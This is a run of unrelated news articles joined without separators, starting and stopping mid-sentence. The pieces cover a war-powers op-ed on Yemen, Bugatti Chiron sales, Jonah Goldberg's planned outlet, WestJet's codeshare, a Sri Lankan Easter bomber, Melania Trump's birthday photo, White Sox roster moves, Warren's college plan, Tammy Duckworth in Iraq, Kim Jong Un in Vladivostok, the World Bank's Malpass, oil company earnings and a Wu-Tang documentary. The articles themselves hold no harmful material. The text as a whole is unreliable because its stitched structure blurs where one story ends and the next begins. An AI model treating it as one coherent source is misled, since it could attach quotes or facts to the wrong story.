Yemen. Indeed, for Congress to formally declare war against ISIS or the Houthi would greatly strengthen their claims to be sovereign states. Those who demand new congressional authorization to fight ISIS ignore the fact that in 2001 Congress formally (but unnecessarily, since we were acting defensively) authorized the use of force against al-Qaeda, and the unanimous U.N. Security Council has repeatedly noted that ISIS is a splinter group of Al-Qaeda. (See, e.g., its resolutions 2170 and 2253.) More fundamentally, the kind of total aggressive war historically associated with declarations of war was outlawed by Article 2(4) of the 1945 U.N. Charter, and no country has clearly issued such a declaration since World War II. Just as the power to grant Letters of Marque and Reprisal (authorizing private ship owners to capture enemy ships as prize) given to Congress in Article I, Section 8 became an anachronism when such instruments were outlawed in the 1856 Declaration of Paris, the power to declare war given to Congress in the same clause became irrelevant when the sorts of conflicts historically associated with the term were banned under international law (unless and until a president tries to launch one anyway). The Founding Fathers understood the concept of force short of war. In the 1990 case of United States v. Verdugo-Uriquidez, the Supreme Court noted: The United States frequently employs Armed Forces outside this country over 200 times in our history for the protection of American citizens or national security. In contrast, Congress has declared war twelve times in five wars. When President Jefferson learned that Barbary pirates might be planning to declare war against the United States, he dispatched two-thirds of the new U.S. Navy to the Mediterranean with instructions to sink and burn the pirates ships if, upon arrival, they learned war had been declared. Although the June 1, 1801, departure of the squadron was reported in newspapers, Jefferson did not formally notify Congress of his actions until his first State of the Union message on December 8. No one in Congress appears to have expressed concern the president had usurped legislative authority. Congress does, of course, have other powers relevant to this conflict, including the requirement in Article I, Section 9, that no money can be drawn from the Treasury without appropriations made by law. Congress may refuse to appropriate new funds for the military, but the Supreme Court has repeatedly observed most recently in the 2006 case of Hamdan v. Rumsfeld that Congress cannot direct the conduct of campaigns. And it can no more condition appropriations to compel the president to exercise his constitutional discretion as directed by Congress than it can condition appropriations for the judiciary upon the Supreme Court deciding pending cases as instructed by Congress. Such a theory would destroy the separation of powers. Senate Joint Resolution 7 was passed by the House by a vote of 247175 and by the Senate 5446. This strongly suggests the two-thirds vote needed in each chamber to override the veto is unlikely. That is a very good thing. More from National Review Photo credit: Bugatti From Car and Driver One-fourth of all Bugatti Chiron supercars built so far have gone to North American buyers. There are still about 100 left to be sold, but they won't be reaching their buyers until 2022 at the earliest. The even more rarefied Chiron Sport began production in January, and at this point more Sport than "standard" models are being built. A Bugatti may be a lot of things, but "accessible" isn't one of them. And that's the way it's supposed to be: exclusive and exotic. In fact freeing up the millions it takes to buy one may prove the least of the impediments to ownership. When the Alsatian automaker rolled out the Chiron in 2016, it committed to building only 500 of themslightly more than the 450 examples of the Veyron it replaced. In the three years since, Bugatti has delivered more than 180 of those, sources confirmed to Car and Driver. Of those, 46 (about a quarter of total production so far) have gone to North American buyers. And the company's order books are filled with nearly three years' worth of production already spoken for. "This means that less than 100 out of the 500 units are still available," revealed Bugatti communications director Tim Bravo. If you manage to secure one of those final build slots, then, you shouldn't expect your 16-cylinder hypercar to arrive at your doorstep before 2022, at the earliest. And you can expect to pay handsomely for the privilege. The Chiron carries a sticker price of $2,998,000, or $3,260,000 for the Chiron Sport. And that's before options, on which Bugatti's elite clients typically spend some $350,000 on average, over and above the base price, added the automaker's North American marketing manager Cedric Davy. Photo credit: Bugatti Revealed at the Geneva auto show last year, the Chiron Sport (pictured above) packs the same 8.0-liter quad-turbo W-16 engine as the standard model, tuned to deliver the same 1500 horsepower, but with a suspension, torque-vectoring system, and aero package focused more toward handling, and 40 pounds cut from its still hefty two-plus-ton curb weight. Story continues Chiron Sport production began at Bugatti's headquarters in Molsheim this past January. At this point, Bravo confirms, "We are currently assembling more Chiron Sport than Chiron." Maybe one is destined for you. You Might Also Like Its easy to think of the soon-to-be launched conservative news site run by two prominent Never Trump conservatives as an outlet created simply to bash the president. But Jonah Goldberg, one of the two co-founders, said thats not quite right. We dont want to be an anti-Trump thing, Goldberg said in an interview on the Yahoo News podcast, The Long Game. We kinda want to be a post-Trump thing. Goldberg is in the process of leaving his job at the National Review to join former Weekly Standard editor-in-chief Stephen Hayes at the yet-to-be named new outlet. They hope to launch this fall, he said. The Weekly Standard which had been co-founded by one of the most prominent anti-Trump conservatives, Bill Kristol was shut down by billionaire owner Philip Anschutz late last year. Anschutz has remained invested, however, in the Washington Examiner, which has tilted in a pro-Trump direction. The Weekly Standard and National Review were the two redoubts of the Never Trump movement and stand in stark contrast to most media and activist websites on the right. Places like Breitbart News, the Daily Caller, the Federalist, Newsmax and others have all generally acceded to the pro-Trump point of view. Jonah Goldberg (Photo illustration: Yahoo News; photo: William B. Plowman/NBC/NBC NewsWire via Getty Images) Goldberg noted that, by and large, none of the many conservative sites even those like Ben Shapiros Daily Wire, which is often quite critical of Trump do a lot of original journalism, preferring instead to traffic in opinion and analysis. We think there is a large market out there for reporting from the right of center, and analysis ... that isnt water-carrying for the Republican Party, nor is it just trying to beat up the Republican Party, Goldberg said. Much of Goldbergs thinking has been shaped of late by studying the ways that traditional political parties have atrophied over the last several decades, creating a vacuum that has been filled by other actors and redefining the meaning of what a party is. Political parties now are much more than a few committees and elected officials, he said. Political parties have become an ecosystem of interest groups, partisan media outlets and cable TV channels, big donors and dark money groups, and the traditional committee institutions and politicians. Story continues Since 1972, right before our eyes but almost invisibly, the infrastructure of both the professional right and the professional left have turned into essentially de facto proxies of the parties, Goldberg said. When the parties stopped performing party functions, these other institutions starting doing it, whether its Planned Parenthood on the left or the NRA on the right. Goldberg said the ideological press has also become part of the new party ecosystem, but said that is not always a bad thing. Im not leaving National Review because Im mad at National Review, Goldberg said. National Review vets candidates, it frames issues, it does all sorts of things that parties are supposed to do. Fox News plays a huge function in that. So does MSNBC. All those televised debates and town halls, those are essentially party functions that the party isnt doing anymore, or is at least cooperating with. Nonetheless, he said, he and Hayes are setting out to create a news site that consciously rejects an alignment with the modern party apparatus. Lots of media institutions have internalized this role as a sort of an arm of the party, he said. So you get a lot of media players who, to the extent that theyre reporting a lot of it is basically in service to a partisan agenda. Thats a lot of what Daily Caller has become defending Trump. The Daily Caller, in fact, was launched in 2009 with a similar mission to the one stated by Goldberg: to do in-depth journalism from a center-right point of view. But that vision was long ago eclipsed by an approach that relies on stoking partisan outrage, which is a lower-cost, higher-yield business venture, at least in the short term. (This was the reason I left the publication after working there for just over a year in 2010.) We think chasing clicks is a bad idea but also chasing clicks actually is bad for the country, Goldberg said. It leads to this nut-picking, where you pick the very worst examples of the other side and hold them up as representative of the entire other side. It contributes to this screwed-up fishbowl demonization polarization dynamic. Part of what we believe as a business proposition is that there are enough people out there who just dont like that stuff, Goldberg said. Thats sort of part of the tradition I want to get back to is engaging with the other side where we try to tackle their best arguments, not their worst arguments, and where we dont take their fringiest craziest people and hold them up as examples. As Goldberg and Hayes have gone through the process of meeting with investors and venture capital fund managers, their idea of what their project will be has shifted, Goldberg said. Part of the feedback we got from people was, This sounds like a really fantastic business plan for newsletters, podcasts and events. Why are you chasing the dot.com model when everyone is running away from that? Goldberg said. What started out as a grandiose big online magazine thing is now iterating. Were gonna have definitely an online magazine presence, but the footprint is going to be lighter, he said. Goldberg said he was hopeful that Trumpism is a passing fad in the long run. The Trumpification of conservatism and the GOP is in the most significant respects a story about old people, Goldberg said. The reality is that Trumps base are over-65-year-old white people, and thats the bulk of Fox viewers too. This new thing were doing ties in with this idea of being a remnant for this renewal, he said. WestJet announced Friday it has expanded partnership with Air France. (Getty) WestJet Airlines Ltd. has expanded its partnership with Air France, giving passengers flying from Canada access to seven additional cities in Europe. WestJet announced Friday that it had expanded its codesharing agreement with Air France, which allows passengers to access flights operated by the foreign carrier with their WestJet ticket. As of Friday, guests booking WestJet flights to Charles de Gaulle airport in Paris will now be able to connect to Brest, Biarritz and Montpellier in France, as well as Venice, Milan, Rome in Italy and Athens, Greece. WestJets deepened codeshare relationship with Air France means guests of both airlines will now enjoy more opportunities to travel between the fantastic destinations in Canada and Europe, Brian Znotins, WestJets vice president of network planning, said in a statement. Yahoo Finance Canada Morning Brief Codeshare agreements allow airlines to sell tickets on a partner airlines flight as if it were operated by their own airline. WestJet said there are plans to expand the codesharing partnership to additional countries, including Austria, Germany and Portugal. The expansion comes as WestJet pursues an ambitious strategy that includes capturing growth internationally an area of the market that Air Canada has dominated among Canadian carriers. WestJet has purchased 10 Boeing 787-9 Dreamliners and will begin offering non-stop service from Calgary to London (Gatwick), Paris and Dublin in May. The airline is also trying to attract higher-paying premium passengers through new offerings, including business class service on the Dreamliners, which will feature amenities such as on-demand dining, lay-flat mattresses, bedding and turn-down service. Download the Yahoo Finance app, available for Apple and Android. By Alasdair Pal and Shihar Aneez COLOMBO, April 26 (Reuters) - His target was the breakfast buffet at the Taj Samudra, a luxury hotel on Colombo's seafront. Instead, he ended up detonating his explosive device in a budget motel by the city's zoo, killing a couple who had arrived only half an hour earlier. Abdul Latheef Mohamed Jameel, who was educated in Australia and Britain, was the only attacker out of the eight Sri Lankans pledging allegiance to Islamic State who failed to hit his intended target in the series of Easter Sunday attacks that killed at least 253, according to police. People who knew him said Jameel, like many of the other bombers, was an educated family man who was radicalized after traveling abroad, though an attempt to reach Syria failed in 2014, according to a Sri Lankan intelligence source. The United States' invasion of Iraq was a major turning point in Jameel's views, people who knew him said. An executive at the Taj familiar with some of the details of what happened on Easter Sunday, meanwhile, said Jameel most probably entered the hotel without being searched, but that his bomb failed to go off, in what the employee called a "miraculous escape" for its hundreds of guests. After his failed attempt at the Taj, he checked in at the New Tropical Inn some 10 km (6 miles) away. He then left for several hours as a huge manhunt was being launched by authorities to catch those involved who were still alive, only to return later and detonate his device, according to the owner of the motel. PRIVILEGED UPBRINGING Jameel, 37, was born in Kandy, the sixth child in a tea trading family of seven, according to interviews with three people who knew him well, all of whom declined to be named due to the ongoing police investigation. He was educated at the private Gampola International School in Kandy, a lush hilltown in the center of the country. The family's relative wealth allowed him to travel and live abroad. He studied engineering at Kingston University, southwest of London, for a year in 2006, according to two sources close to the family and two European intelligence officials. The university declined to comment on his time there. Story continues He returned to Sri Lanka, where he married and had his first of four children, before moving to Australia for four years in 2009. It was during this time he became radicalized, said those who knew him. "He was really angry with the U.S. and its alliance's attacks in Iraq during his stay in Australia," a close friend told Reuters. "He was really radicalized and became an extremist when he was in Australia. He returned as a completely changed person." Jameel attempted to travel to Syria in 2014 with a friend, but only got as far as Turkey before turning back for an unknown reason, according to the Sri Lankan intelligence source, who is familiar with Jameel's travel during this time. The friend later joined Islamic State's health service in Syria. Returning to Sri Lanka again, he worked with his brother in the family tea business, but his relationship with relatives grew increasingly strained due to his religious views. He was critical of secular education and once refused to allow his eldest son to attend a concert, saying that music was prohibited in Islam, according to one of his friends. He later pulled his children from school, tutoring them at the family's home in Wellampitiya, a suburb of Colombo. The house is near a copper factory owned by the family of two brothers who also detonated bombs on Sunday. CHANGE OF PLAN Jameel made little impression on the staff of the Taj when he entered some time before 8:45 a.m. on Easter Sunday. Waiters and chefs were preparing for the hotel's popular brunch in the 116-seat Ports of Call restaurant. There were no bag checks at the entrance, according to a Taj executive, who declined to be named due to the ongoing investigation. "Since the end of the war, security has been more relaxed at all the hotels," she said, referring to the 26-year conflict with Tamil separatists that ended in 2009. "We don't know how long he was here for: he could have been here for some time. But it was miraculous escape for our guests." Police have seized all copies of the hotel's CCTV cameras to investigate what happened that day, she said. As the coordinated blasts hit luxury hotels and churches, Colombo went into lockdown. But Jameel's bomb failed to explode. He took an autorickshaw south to the New Tropical Inn where he checked in at 9:30 a.m., according to Sumith Wijela, the owner of the hotel. Fifteen minutes later, he left without saying a word. It is not known where Jameel went during these hours, but around 1:30 p.m., he strolled back into the hotel, wearing a white shirt and carrying a bag, according to CCTV footage from a nearby house viewed by Reuters. Minutes later, the building was almost leveled by a huge explosion. Wijela, who was watching TV in his office, down the corridor from Jameel's room, was showered with plaster and concrete. Shrapnel pierced his right foot. The blast blew a hole into the room next to Jameel's, where a couple, the only guests at the time who had checked in less than 30 minutes earlier, were staying. Wijela pointed to a photo on his phone, showing the faded red bedspread where they were killed. He hadn't even had a chance to learn their names, he said. "I have been working for 20 years in this hotel, and all is finished in one day," he said. "I have three daughters and there is nothing for them." At the Taj, meanwhile, Sunday's events are also being felt. Soldiers patrol the ornate marble lobby in combat boots, and private security guards and hotel staff perform fingertip searches on the few guests checking in. "Why didn't you do this last Friday?" said the only other diner in the targeted restaurant to a waitress when Reuters visited on Friday, as the military searched the pool deck with hotel staff. (Reporting by Alasdair Pal and Shihar Aneez in COLOMBO; Additional reporting by Mark Hosenball in WASHINTON; Editing by John Chalmers and Alex Richardson) The White House has released a strange picture of Melania Trump on her birthday on Twitter. [Photo: Getty] The White Houses official Twitter page has released an image of Melania Trump surrounded by press. The caption reads Happy Birthday @FLOTUS! and has been widely criticised as being a strange image to post on her birthday. Melania Trump turns 49 today and the tweet is amassing thousands of likes by the minute. Twitter users have taken to the comments to voice their confusion over the picture the White House have selected, branding it as a deeply weird picture choice. One tweet read: This is a really lame picture. Why not wish her a happy birthday with a picture of her doing something? Another wrote: What a strange picture to post. The comments have continued to flood in, with people commenting on her love of being photographed alone. Others have taken to Twitter to suggest we should also celebrate the birthday of fake Melania, too. READ MORE: 6 little known facts about Melania Trump The First Lady is expected to celebrate her birthday with a private dinner at the White House. Japanese Prime Minister Shinzo Abe and his wife, Akie Abe, will be attending the dinner. Theyre visiting the US this week. Twitter users have taken aim at how unhappy the First Lady looks, using memes of other times she has looked miserable in Donald Trumps presence. One user wrote: Wow, she looks so happy NOT. READ MORE: A look a Melania Trumps work wardrobe Others are confused by whats so weird about it, with many wishing her a very happy 49th birthday. One user said: Happy Birthday to the best First Lady ever. Another simply said, what a stunning first lady. Watch the latest videos from Yahoo CHICAGO (AP) The Chicago White Sox have designated struggling right-hander Ervin Santana for assignment and inserted lefty Manny Banuelos in his rotation spot. Santana, a two-time All-Star, was 0-2 with a 9.45 ERA in three starts after his contract was selected from Triple-A Charlotte on April 9. The White Sox signed him to a minor league deal in February that called for a $4.3 million salary while in the major leagues. A finger injury, followed by surgery, limited Santana to five appearances with Minnesota last season. "Frankly, we weren't quite getting what we were hoping for out of that spot in terms of consistency and we decided to make a change," general manager Rick Hahn said Friday. "We didn't feel like it was working out, and we decided to go a different direction in the interest of the long-term." The 36-year-old Santana is 149-127 with a 4.09 ERA over 15 seasons with the Los Angeles Angels, Kansas City, Atlanta, Minnesota and Chicago. He an All-Star for Minnesota in 2017, going 16-8 with a 3.28 ERA. The 28-year-old Banuelos is 1-0 with a 2.51 ERA in five appearances and 14 2/3 innings this season. He allowed no runs in four innings in a start at Baltimore on Monday, scattering five hits while striking out four and walking one as Chicago won 12-2. Right-hander Lucas Giolito, out since April 17 with a left hamstring strain, threw in the bullpen on Friday and is expected to return during homestand, which ends May 5. Chicago reinstated outfielder Eloy Jimenez from the bereavement list. He had returned home to the Dominican Republic following the death of his grandmother. ___ More AP MLB: https://apnews.com/MLB and https://twitter.com/AP_Sports Correction: An earlier version of this story incorrectly characterized Sen. Elizabeth Warrens proposal. Her college plan would be funded by a 2 percent tax on households with a net worth of $50 million or more. Elizabeth Warren made waves with a sweeping plan to eliminate student debt and make public college almost free to attend. The goal, the Massachusetts senator and Democratic presidential candidate said, was to provide universal, free public college. But free education doesnt exist, because educating people costs money. Professors need to be paid, buildings need to be maintained, and degrees need to be printed. Even Warren said her plan would cost $1.2 trillion over the course of 10 years. Warrens proposal along with less comprehensive free college plans from other Democrats isnt really about providing a free education. Rather, these plans would shift who pays for it: the individual or the government. Warren's plan has drawn criticism from some liberals, who say it would benefit the wealthy over poor Americans. What does college really cost? Here's how to find out What we have now Under the current system, state governments subsidize public schools, and the federal government provides money to most universities through grants and loans. Individual students cover remaining tuition and fees, offset by donor contributions. Warren, a former law professor at Harvard, wants the federal government to partner with state governments to cover the expense of college. Much of her plan relies on using federal money from the hyper-wealthy: a 2% tax on households with a net worth of $50 million or more. Warrens plan stands out for its sheer scale. The federal government would forgive up to $50,000 in student loan debt in a household making less than $100,000 annually. It would offer less forgiveness for families making up to a quarter of a million dollars and nothing for those making more than that. Warren says her plan would forgive the debt for millions of Americans and in the process boost economic growth. Making public college free would prevent problems with student loans, according to the plan. For decades, weve allowed the wealthy to pay less while burying tens of millions of working Americans in education debt, her statement reads. Story continues The plan would move resources from older Americans and people who never went to college or paid off their debt to students who still have debt, said Robert Kelchen, who studies higher education at Seton Hall University. Ways to forgive your debt? Not many Warrens plan appeals to people because it offers them a clear and immediate path to erase debts they cant afford to pay. And right now, there are few ways to eliminate student loans short of paying them off which can take years, maybe even decades. For example, student loans arent included by default when declaring bankruptcy. That requires a separate lawsuit to prove to a bankruptcy court undue hardship essentially that continuing to pay on the loans would prevent the borrower from maintaining "a minimal standard of living." Debt elimination outside bankruptcy is possible through the Public Service Loan Forgiveness Program. It requires applicants to work a public service job, such as for a government agency or qualifying nonprofit group, and make 10 years' worth of payments. The byzantine bureaucratic requirements and confusion over the program have prevented many from using it. Only 0.6% of borrowers who've applied have had their debt forgiven. Be one of them: Here's how to get your debt forgiven The federal government offers programs meant to help people struggling to repay their loans. One plan allows borrowers to pay roughly 10% of their income toward loans. After 20 years, the loans would be forgiven. Roughly a third of borrowers take advantage of these programs to keep their payments low, according to federal data analyzed by the College Board. These plans are complicated for consumers, said Beth Akers, a senior fellow at the Manhattan Institute, a right-leaning think tank, who studies student loans. The safety net is there, Akers said, its just poorly administered. Given the supports that already exist, the goal of loan forgiveness has to be about something more than just wiping out debts, she said. It has to be that we place some value in a social or cultural way that exceeds the costs that a plan like this is imposing on society, Akers said. 'Government schools': What colleges think of the plan Free public college would undoubtedly affect student enrollment at private and for-profit colleges. Warrens plan specifically calls for eliminating federal money to for-profit colleges. In an industry beset by a series of high-profile closures, the move would be devastating. Colleges that close: How to keep it from happening to you The plan is clearly targeted at killing the industry, said Steve Gunderson, who leads Career Education Colleges and Universities, an organization of for-profit colleges. Most of our students are first-generation college students, often from low-income families seeking a bridge to a better future, he said. These colleges rely heavily on federal money, Kelchen said, because they recruit students who dont have access to other finances. For-profits havent done themselves any favors. Critics point to their lower graduation and higher default rates compared with their public and private peers. The most recent scandal: Argosy University withheld financial aid. Students couldn't pay their bills. The aftermath: 'Unfair is an understatement': Students struggle after college chain abruptly closes That said, free public college alone wouldn't hurt for-profits because they offer different skill sets, Gunderson said. The students for-profits attract aren't necessarily looking for the liberal arts experience, he said. But free public college might push more students away from small, private universities to what would be a cheaper alternative, said Richard Ekman, president of the Council of Independent Colleges. Other students, he said, might choose a private college anyway because they saw it as a higher-quality education. Its a question of taxpayer value, he said. Private colleges take federal grant money, but much of their costs are subsidized by private donors. Free college is nice, Ekman said. Its obviously appealing, but is it the most responsible way to go about it? I am not so sure. The ideas of debt forgiveness and free college are well-intentioned but ultimately counterproductive, said Michael Crow, president of Arizona State University. Rather than forgiving loans, the government should work toward making sure students graduate. Debt is less ominous with a degree, he said. And, sure, give students more grant money. But if the federal government starts covering tuition costs directly, colleges won't be colleges anymore. I dont know what they would be, he said. They would be government schools, tightly regulated by bureaucrats. Thats not the path to success. A boon for rich doctors? The need for debt forgiveness rests on the premise theres a student loan crisis. Some people certainly struggle to pay back their loans. Roughly one in 10 borrowers are in default generally, when people havent made a payment on their loans in about nine months. The percentage is higher for African American borrowers. Plenty of people, however, are paying back their loans just fine. Loan forgiveness gives a huge advantage to these people, said Colleen Campbell, who studies student loans at the Center for American Progress, a left-leaning think tank. People with higher debts often have higher earnings, especially people who went to graduate school such as lawyers or doctors. Theyre more able to pay off their loans and loan forgiveness would make them very wealthy very quickly. That's drawn opposition to Warren's plan from some liberals. The left-leaning Brookings Institution issued an analysis Wednesday that said richer Americans would benefit disproportionately from the plan compared with their poorer counterparts. Ironically, the ones who struggle most are people with smaller loan amounts who never finished college, Campbell said. They dont have the extra earning power that can come as a result of a degree. The question, she said, becomes: Why give more money to someone who is thriving, instead of redirecting that money to other services that would help lower-income students get through college? And why forgive such large debts? Warrens proposed amount of up to $50,000 in forgiveness is well above what the average American owes. The Institute for College Access & Success, a nonprofit group that tracks debt, found the average borrower in the class of 2017 owed about $28,500. Lowering the offer for debt forgiveness to, say, $20,000 would make a significant dent in the debt for many, Campbell said, while wiping the slate clean for those with smaller debt amounts who didnt finish their college education. Education coverage at USA TODAY is made possible in part by a grant from the Bill & Melinda Gates Foundation. The Gates Foundation does not provide editorial input. This article originally appeared on USA TODAY: Free college plans such as Elizabeth Warren's are pretty pricey. Some say her plan would benefit the rich most Washington (AFP) - Tammy Duckworth, the helicopter pilot who lost her legs when she was shot down over Iraq 15 years ago, returned to the country for the first time this week as a US senator, her office said Friday. The decorated US Army veteran led an official congressional delegation to Baghdad, Taji and Arbil, where they sat down with Iraqi leaders, received intelligence briefings from American diplomats and met with US troops. "Fifteen years ago I deployed to Iraq as an American soldier to fly helicopter missions. This week, I returned in a role I never expected: as a United States senator leading a bipartisan delegation to show our support for the people of Iraq," the Illinois Democrat said in a statement. "I was proud to join Senators (Johnny) Isakson and (Angus) King representing our nation on this important trip - and I was even prouder that I was able to leave Iraq under my own power this time." The senators met with Iraqi Prime Minister Adel Abdul-Mahdi and Kurdistan Regional Government Prime Minister Nechirvan Barzani, among other officials, according to Duckworth's office. The trip was not publicly announced until after its completion for security reasons. The 51-year-old Duckworth, who was born in Thailand, is the first female amputee elected to the US Congress. She almost never got that opportunity. Her life very nearly ended in Iraq on November 12, 2004, about 120 combat hours into her tour there, when the Black Hawk helicopter she was co-piloting was struck by an insurgent's rocket-propelled grenade. As a fireball tore through the cockpit, Duckworth tried to help land the chopper, but was unable to use its foot pedals. King said he was moved at seeing his colleague return to Iraq. "To witness Senator Duckworth flying once again over the site where she was shot down in 2004 was a moment I'll never forget," King said. Duckworth's military experience has informed much of her work as a legislator. She has sought to help disabled veterans and ensure payment of troops during federal shutdowns. She also has been outspoken about the importance of defending members of the Kurdish minority who fought alongside US military forces against the Islamic State. In January 2018, when President Donald Trump accused Democrats of holding the military hostage over immigration, Duckworth delivered a withering Senate floor speech, saying "I will not be lectured about what our military needs by a five-deferment draft dodger." Vladivostok (Russia) (AFP) - North Korean leader Kim Jong Un kept an honour guard and officials waiting for two hours on Friday but eventually showed up for a wreath-laying ceremony in Russia's Far Eastern city of Vladivostok. Visiting the city a day after his first summit with Russian President Vladimir Putin, Kim had been scheduled to take part in the ceremony at 10:00 am (0000 GMT) but at first was a no-show. As soldiers and a military band waited in the rain, word came that the event -- at a World War II memorial to Russia's Pacific Fleet -- had been cancelled and the red carpet was rolled up. Around noon the honour guard returned and a few minutes later Kim pulled up in his black limousine. The band played solemn music and ceremonial guards placed a large wreath on a stand next to an eternal flame. In a black hat and double-breasted overcoat, Kim went up to the wreath briefly, then stepped back and stood with his hat in his hand, looking sombre. Behind him stood local officials holding carnations, including regional governor Oleg Kozhemyako. A ceremonial guard marched past, Kim spoke briefly with a Russian military official, then got back into his limousine and drove off with a motorcade. Kim arrived on Wednesday in the Pacific coast port on his armoured train, then met with Putin for five hours on Thursday for a summit that saw the two leaders vow to pursue closer ties. Putin left the same day for China and Kim stayed on for a series of cultural events. Russian media had reported that he was due to visit Vladivostok's aquarium and see a ballet, but on Friday said his programme had been significantly reduced and that Kim would be departing earlier than planned. By David Lawder WASHINGTON, April 26 (Reuters) - Nearly 40 world leaders and scores of finance officials, including International Monetary Fund Managing Director Christine Lagarde, are gathered in Beijing for China's second Belt and Road infrastructure summit, but the World Bank's new president isn't among them. David Malpass, fresh from a senior Trump administration post at the U.S. Treasury Department, is instead making his first foreign trip as the World Bank's leader to sub-Saharan Africa to highlight his vision for the bank's poverty reduction and development agenda. A World Bank spokesman said Malpass will be traveling this weekend to Madagascar, Ethiopia and Mozambique before flying to Egypt and a debt conference in Paris. Malpass has said that Africa is a key priority for the bank due to its high concentration of the world's poorest people. World Bank Chief Executive Officer Kristalina Georgieva, who had been acting president during the leadership selection process, is representing the institution at the summit and had accepted China's invitation before Malpass started at the bank on April 9, the bank spokesman said. Former World Bank President Jim Yong Kim attended China's first Belt and Road summit two years ago. Leaders of two of the countries on Malpass' trip, Ethiopia and Mozambique, are among a number of African leaders also attending this year's summit. Malpass, who was the Treasury's undersecretary for international affairs, is a longtime critic of China's Belt and Road lending practices and had worked to raise alarms about them with G7 and G20 countries in that role. "In lending, China often fails to adhere to international standards in areas such as anti-corruption, export credits, and finding coordinated and sustainable solutions to payment difficulties, such as those sought in the Paris Club," Malpass told a U.S. House Financial Services subcommittee in December. Story continues His absence coincides with a significant downgrade of the Belt and Road summit by the United States as the Trump administration tries to negotiate a deal to resolve longstanding trade and intellectual property disputes with China -- talks in which Malpass frequently participated. No high-level U.S. officials are attending, a State Department spokesman said, citing similar concerns about Belt and Road debt. Malpass said at the IMF and World Bank spring meetings this month that meeting the development lender's goals of ending extreme poverty by 2030 calls for a focus on Africa. "By 2030, nearly 9 in 10 extremely poor people will be Africans, and half of the worlds poor will be living in fragile and conflict-affected settings," he told a news conference at the meetings. "This calls for urgent action, by countries themselves, and by the global community." He told reporters on his first day on the job that he wanted to "evolve" the bank's relationship with China to one where Beijing is a bigger contributor of capital and cooperates more closely with the bank on development issues and poverty reduction. But Treasury Secretary Steven Mnuchin, Malpass' former boss, on the same day told lawmakers that the World Bank under Malpass' leadership and a new U.S. development agency "can be a serious competitor to (China's) Belt and Road." (Reporting by David Lawder; editing by Jason Neely) (Adds closing share prices) By Jennifer Hiller HOUSTON, April 26 (Reuters) - Exxon Mobil Corp and Chevron Corp on Friday reported lower profits, citing lower margins and refining weaknesses, areas that have plagued the two oil companies off and on for more than a year. Exxon posted the first loss in its refining business since 2009, citing the worst refining margins on gasoline and other profits it had seen in a decade. Chevron reported its refining and chemical profits fell 65 percent. Both reported top-line figures that missed Wall Street expectations and were lower than year-ago levels due to weaker crude pricing. Exxon's 49 percent drop in first-quarter profit showed the turnaround at the largest U.S. oil producer remains a work in progress. "It was a tough market environment for us this quarter," Exxon Senior Vice President Jack Williams said on a call with analysts. Exxon continued to spend heavily to boost output, with capital spending up 42 percent over a year ago as it poured new investment into its shale and offshore operations. Investors have been pressing oil companies to cut back on spending and increase returns to shareholders. Its first-quarter profit fell to $2.35 billion, or 55 cents a share, from $4.65 billion, or $1.09 a share, a year ago. Analysts had expected Exxon to earn 70 cents per share, according to Refinitiv Eikon estimates. "Clearly, the corner is further away than we expected and we expect this to lead to underperformance in the near term," analysts at RBC Capital Markets said in a client note. At Chevron, investors ignored earnings that beat estimates and focused on its $33 billion bid for rival Anadarko Petroleum Corp. Occidental Petroleum Corp on Wednesday sought to derail Chevron's offer with a unsolicited, $38 billion bid for Anadarko. Chevron Chief Executive Michael Wirth told analysts on Friday joint integration planning to combine the two companies had begun. He declined to say if it would raise its offer for Anadarko, saying it had a signed agreement with Anadarko. Story continues "We would not be surprised to see Chevron raise its offer," wrote analysts at Edward Jones in a research note, saying they believed the company's bid will "ultimately be the successful one." Chevron's production rose and achieved higher profit from its U.S. shale business, offsetting some of the drop in international oil and gas earnings. But sharp declines in overall refining and chemicals knocked first-quarter net to $2.65 billion, or $1.39 per share, from $3.64 billion, or $1.90 per share, a year earlier. Wall Street had expected $1.30 per share. Chevron's daily production of oil and gas rose to 3.04 billion of barrels, from 2.85 billions of barrels in the year-ago period, boosted by a 55 percent increase in its Permian output. The Anadarko takeover battle prompted analysts to ask Exxon about new acquisitions in the Permian Basin of West Texas and New Mexico, the top U.S. shale field. "I would be surprised if over time we did not pick up some more Permian acreage," Williams said. He added that Exxon "doesn't need to." Growing output in the Permian Basin was a bright spot at Exxon, rising to 226,000 barrels of oil equivalent per day. It remains on track to produce 1 million barrels by 2024, and would use half of its existing inventory by then, he said. Exxon's oil and gas production rose 2 percent overall to 4 million barrels per day (bpd), up from 3.9 million bpd in the same period the year prior. Shares of Irving, Texas-based Exxon dipped 2.1 percent to close at $80.49 Friday. Shares of San Ramona, California-based Chevron slipped less than 1 percent to close at $117.10. (Reporting by Jennifer Hiller in Houston Editing by Jonathan Oatis and Tom Brown) New York (AFP) - A quarter century ago a ragtag group of New York kids that would become the iconic Wu-Tang Clan banded together, betting that mainstream music might just embrace hardcore hip hop from the streets. Gifted with an ear for raw, menacing lyrics and fueled by a desire to rise above their poverty-mired peers, the nine-member collective ascended from New York's then particularly rough outer boroughs to become one of the most influential rap acts in history. Their hardscrabble journey that paved the way for dozens of successful hip hop artists is the subject of the four-part docu-series "Wu-Tang Clan: Of Mics and Men" -- a riff on the American classic "Of Mice and Men," the story of itinerant workers seeking financial stability -- set to air on the US cable network Showtime next month. "To see where they came from, how they did it, is no small feat," said director Sacha Jenkins at the production's New York premiere Thursday night at the Tribeca Film Festival, after it screened at Sundance earlier this year. "Now more than ever, people need to pay attention to what's been going on in the inner city," Jenkins told AFP. "It's 25 years later and not much has changed. And that's why Wu-Tang's music still resonates." - 'Our heroes' - Interspersing interviews with rare early footage, the series chronicles their origins as hustlers and drug dealers for whom music ultimately offered an escape from the revolving door of incarceration. For RZA -- Wu-Tang's mastermind and de-facto leader -- the deep relief of being cleared at trial of attempted murder opened his eyes to a different path. In 1992 he formed the group with his two cousins and a handful of other friends, who claimed Staten Island as their territory and named themselves the Wu-Tang Clan after the 1983 kung-fu movie "Shaolin and the Wu Tang," from which they drew samples for their landmark first album. Story continues "For us, high school dropouts, guys that was forced to be street pharmacists... this is all we wanted," RZA told AFP. "Instead of our kids being those kids that's out there causin' crime, and shooting -- no, no. Our kids are out there making the world more positive." For civil rights activist Al Sharpton, the Wu-Tang Clan is emblematic of struggles faced by minorities and the impoverished, offering hope in divisive times. "Their story is our story. Ain't nobody manufactured them, nobody created them. They came from the bottom and represented the bottom," Sharpton told AFP. "These are our heroes." - 'Wu-Tang is the world' - In one endearing scene the docu-series watches Method Man -- considered the brain behind some of the group's catchiest lines -- take the ferry back to his former job cleaning at the Statue of Liberty, where he catches his boss up on his success. "I worked here for years and never went to go see this woman!" the 